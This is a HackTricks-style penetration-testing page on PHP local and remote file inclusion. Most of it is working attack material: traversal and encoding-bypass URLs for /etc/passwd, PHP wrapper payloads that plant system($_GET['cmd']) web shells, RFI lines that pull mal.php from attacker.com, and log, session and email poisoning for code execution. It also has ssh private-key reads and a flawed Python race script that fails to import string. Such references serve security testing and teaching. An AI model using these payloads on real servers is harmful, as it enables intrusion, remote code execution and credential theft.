.. | ||
phar-deserialization.md | ||
README.md |
File Inclusion/Path traversal
{% hint style="danger" %}
Do you use Hacktricks every day? Did you find the book very useful? Would you like to receive extra help with cybersecurity questions? Would you like to find more and higher quality content on Hacktricks?
Support Hacktricks through github sponsors so we can dedicate more time to it and also get access to the Hacktricks private group where you will get the help you need and much more!
{% endhint %}
If you want to know about my latest modifications/additions or you have any suggestion for HackTricks or PEASS, join the 💬telegram group, or follow me on Twitter 🐦@carlospolopm.
If you want to share some tricks with the community you can also submit pull requests to https://github.com/carlospolop/hacktricks that will be reflected in this book and don't forget to give ⭐ on github to motivate me to continue developing this book.
File Inclusion
Remote File Inclusion RFI
: The file is loaded from a remote server Best: You can write the code and the server will execute it
. In php this is disabled by default **allow\_url\_include**
.
Local File Inclusion LFI
: The sever loads a local file.
The vulnerability occurs when the user can control in some way the file that is going to be load by the server.
Vulnerable PHP functions: require, require_once, include, include_once
A interesting tool to exploit this vulnerability: https://github.com/kurobeats/fimap
Blind - Interesting - LFI2RCE files
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
Linux
Mixing several *nix LFI lists and adding more paths I have created this one:
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}
Try also to change /
for \
Try also to add ../../../../../
A list that uses several techniques to find the file /etc/password to check if the vulnerability exists
can be found here
Windows
Merging several lists I have created:
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}
Try also to change /
for \
Try also to remove C:/
and add ../../../../../
A list that uses several techniques to find the file /boot.ini to check if the vulnerability exists
can be found here
OS X
Check the LFI list of linux.
Basic LFI and bypasses
All the examples are for Local File Inclusion but could be applied to Remote File Inclusion also (page=[http://myserver.com/phpshellcode.txt](http://myserver.com/phpshellcode.txt)).
http://example.com/index.php?page=../../../etc/passwd
traversal sequences stripped non-recursively
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
Null byte (%00)
Bypass the append more chars at the end of the provided string bypass of: $\_GET\['param'\]."php"
http://example.com/index.php?page=../../../etc/passwd%00
This is solved since PHP 5.4
Encoding
You could use non-standard encondings like double URL encode and others
:
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
From existent folder
Maybe the back-end is checking the folder path:
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
Path truncation
Bypass the append of more chars at the end of the provided string bypass of: $\_GET\['param'\]."php"
In PHP: /etc/passwd = /etc//passwd = /etc/./passwd = /etc/passwd/ = /etc/passwd/.
Check if last 6 chars are passwd --> passwd/
Check if last 4 chars are ".php" --> shellcode.php/.
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd..\.\.\.\.\.\.\.\.\.\.\[ADD MORE]\.\.
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
#With the next options, by trial and error, you have to discover how many "../" are needed to delete the appended string but not "/etc/passwd" (near 2027)
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
Always try to start the path with a fake directory a/
.
This vulnerability was corrected in PHP 5.3.
Filter bypass tricks
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
Basic RFI
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
Top 25 parameters
Here’s list of top 25 parameters that could be vulnerable to local file inclusion LFI
vulnerabilities from [link](https://twitter.com/trbughunters/status/1279768631845494787)
:
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
LFI / RFI using PHP wrappers
Wrapper php://filter
Base64 and rot13
The part "php://filter" is case insensitive
http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php
zlib compression
Can be chained with a compression wrapper for large files.
http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
To read the comppression data you need to decode the base64 and read the resulting data using:
php -a #Starts a php console
readfile('php://filter/zlib.inflate/resource=test.deflated');
NOTE: Wrappers can be chained
Wrapper zip://
Upload a Zip file with a PHPShell inside and access it.
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
Wrapper data://
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Fun fact: you can trigger an XSS and bypass the Chrome Auditor with : http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+
Note that this protocol is restricted by php configurations allow_url_open
and allow_url_include
Wrapper expect://
Expect has to be activated. You can execute code using this.
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
Wrapper input://
Specify your payload in the POST parameters
http://example.com/index.php?page=php://input
POST DATA: <?php system('id'); ?>
Wrapper phar://
A .phar
file can be also used to execute PHP code if the web is using some function like include
to load the file.
{% code title="create_phar.php" %}
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
{% endcode %}
And you can compile the phar
executing the following line:
php --define phar.readonly=0 create_path.php
A file called test.phar
will be generated that you can use to abuse the LFI.
If the LFI is just reading the file and not executing the php code inside of it, for example using functions like file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize(). You can try to abuse a deserialization occurring when reading a file using the phar protocol.
For more information read the following post:
{% page-ref page="phar-deserialization.md" %}
More protocols
Check more possible protocols to include here.
LFI via PHP's 'assert'
If you encounter a difficult LFI that appears to be filtering traversal strings such as ".." and responding with something along the lines of "Hacking attempt" or "Nice try!", an 'assert' injection payload may work.
A payload like this:
' and die(show_source('/etc/passwd')) or '
will successfully exploit PHP code for a "file" parameter that looks like this:
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
It's also possible to get RCE in a vulnerable "assert" statement using the system() function:
' and die(system("whoami")) or '
Be sure to URL-encode payloads before you send them.
LFI2RCE
Basic RFI
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
Via Apache log file
If the Apache server is vulnerable to LFI inside the include function you could try to access to /var/log/apache2/access.log, set inside the user agent or inside a GET parameter a php shell like <?php system($_GET['c']); ?>
and execute code using the "c" GET parameter.
Note that if you use double quotes for the shell instead of simple quotes, the double quotes will be modified for the string "quote;", PHP will throw an error there and nothing else will be executed.
This could also be done in other logs but be careful, the code inside the logs could be URL encoded and this could destroy the Shell. The header authorisation "basic" contains "user:password" in Base64 and it is decoded inside the logs. The PHPShell could be inserted inside this header.
Other possible log paths:
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
Via Email
Send a mail to a internal account user@localhost
containing <?php echo system($_REQUEST["cmd"]); ?>
and access to the mail /var/mail/USER&cmd=whoami
Via /proc/*/fd/*
- Upload a lot of shells
for example : 100
- Include http://example.com/index.php?page=/proc/$PID/fd/$FD, with $PID = PID of the process
can be brute forced
and $FD the file descriptorcan be brute forced too
Via /proc/self/environ
Like a log file, send the payload in the User-Agent, it will be reflected inside the /proc/self/environ file
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
Via upload
If you can upload a file, just inject the shell payload in it e.g : `<?php system($_GET['c']); ?>`
.
http://example.com/index.php?page=path/to/uploaded/file.png
In order to keep the file readable it is best to inject into the metadata of the pictures/doc/pdf
Via Zip fie upload
Upload a ZIP file containing a PHP shell compressed and access:
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
Via PHP sessions
Check if the website use PHP Session PHPSESSID
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
In PHP these sessions are stored into _/var/lib/php5/sess_[PHPSESSID]_ files
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
Set the cookie to <?php system('cat /etc/passwd');?>
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
Use the LFI to include the PHP session file
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
Via ssh
If ssh is active check which user is being used /proc/self/status & /etc/passwd
and try to access <HOME>/.ssh/id_rsa
Via vsftpd logs
The logs of this FTP server are stored in /var/log/vsftpd.log. If you have a LFI and can access a exposed vsftpd server, you could try to login setting the PHP payload in the username and then access the logs using the LFI.
Via phpinfo() file\_uploads = on
To exploit this vulnerability you need: A LFI vulnerability, a page where phpinfo() is displayed, "file_uploads = on" and the server has to be able to write in the "/tmp" directory.
Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s
You need to fix the exploit change **=>** for **=>**
. To do so you can do:
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py
You have to change also the payload at the beginning of the exploit for a php-rev-shell for example
, the REQ1 this should point to the phpinfo page and should have the padding included, i.e.: _REQ1="""POST /install.php?mode=phpinfo&a="""+padding+""" HTTP/1.1\r_
, and LFIREQ this should point to the LFI vulnerability, i.e.: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Check the double "%" when exploiting null char
{% file src="../../.gitbook/assets/lfi-with-phpinfo-assistance.pdf" %}
Theory
If uploads are allowed in PHP and you try to upload a file, this files is stored in a temporal directory until the server has finished processing the request, then this temporary files is deleted.
Then, if have found a LFI vulnerability in the web server you can try to guess the name of the temporary file created and exploit a RCE accessing the temporary file before it is deleted.
In Windows the files are usually stored in C:\Windows\temp\php<<
In linux the name of the file use to be random and located in /tmp. As the name is random, it is needed to extract from somewhere the name of the temporal file and access it before it is deleted. This can be done reading the value of the variable $_FILES inside the content of the function "phpconfig()".
phpinfo()
PHP uses a buffer of 4096B and when it is full, it is send to the client. Then the client can send a lot of big requests using big headers
uploading a php reverse shell, wait for the first part of the phpinfo() to be returned where the name of the temporary file is
and try to access the temp file before the php server deletes the file exploiting a LFI vulnerability.
Python script to try to bruteforce the name (if length = 6)
import itertools
import requests
import sys
print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
requests.post('http://target.com/index.php?c=index.php', f)
print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text: # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)
print('[x] Something went wrong, please try again')
References
PayloadsAllTheThings
PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders
{% file src="../../.gitbook/assets/en-local-file-inclusion-1.pdf" %}